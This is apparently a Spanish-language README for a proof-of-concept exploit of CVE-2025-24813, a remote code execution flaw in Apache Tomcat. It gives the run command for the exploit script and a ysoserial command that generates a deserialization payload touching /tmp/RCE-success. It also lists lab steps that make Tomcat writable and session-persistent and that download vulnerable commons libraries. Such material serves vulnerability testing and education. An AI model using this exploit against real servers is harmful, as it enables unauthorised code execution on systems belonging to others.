
CVE-2025-24813 Apache Tomcat RCE Prueba de Concepto (PoC)
PoC para CVE-2025-24813, una vulnerabilidad de Ejecución Remota de Código (RCE) en Apache Tomcat.
Importante: Este PoC está destinado únicamente para pruebas en tus propios entornos o con fines educativos. Cualquier uso de este PoC para explotar sistemas sin la debida autorización está prohibido y puede ser ilegal. Los creadores y distribuidores de este PoC no se hacen responsables por cualquier mal uso o daño causado. Siempre obtén permiso explícito antes de probar cualquier entorno que no te pertenezca.
python3 CVE-2025-24813.py --url <target_url>
El código ya incluye un payload codificado en base64 generado con ysoserial (https://github.com/frohoff/ysoserial) que crea un archivo RCE-success en /tmp de la siguiente manera:
java -jar ysoserial-all.jar CommonsBeanutils1 "touch /tmp/RCE-success" | base64 -w 0
Habilitar acceso PUT / Write
Editar $CATALINA_HOME/conf/web.xml para agregar un parámetro readonly bajo la sección del servlet default y establecerlo en false.
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
Habilitar persistencia de sesión
$CATALINA_HOME/conf/context.xml y agregar la siguiente configuración: <Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore" />
</Manager>
$CATALINA_HOME/webapps/ROOT/index.jsp y asegurarse de que la configuración predeterminada para la sesión no sea "false" o simplemente eliminarla. <%@ page session="true" pageEncoding="UTF-8" contentType="text/html; charset=UTF-8" %>
O
<%@ page pageEncoding="UTF-8" contentType="text/html; charset=UTF-8" %>
Descargar dependencias en $CATALINA_HOME/lib/
cd $CATALINA_HOME/lib/
wget https[:]//repo1.maven[.]org/maven2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar
wget https[:]//repo1.maven[.]org/maven2/commons-beanutils/commons-beanutils/1.9.2/commons-beanutils-1.9.2.jar
wget https[:]//repo1.maven[.]org/maven2/commons-logging/commons-logging/1.2/commons-logging-1.2.jar
[+] Exploit most likely succeeded
[-] Exploit failed with status code: {status_code}, instead of 500,409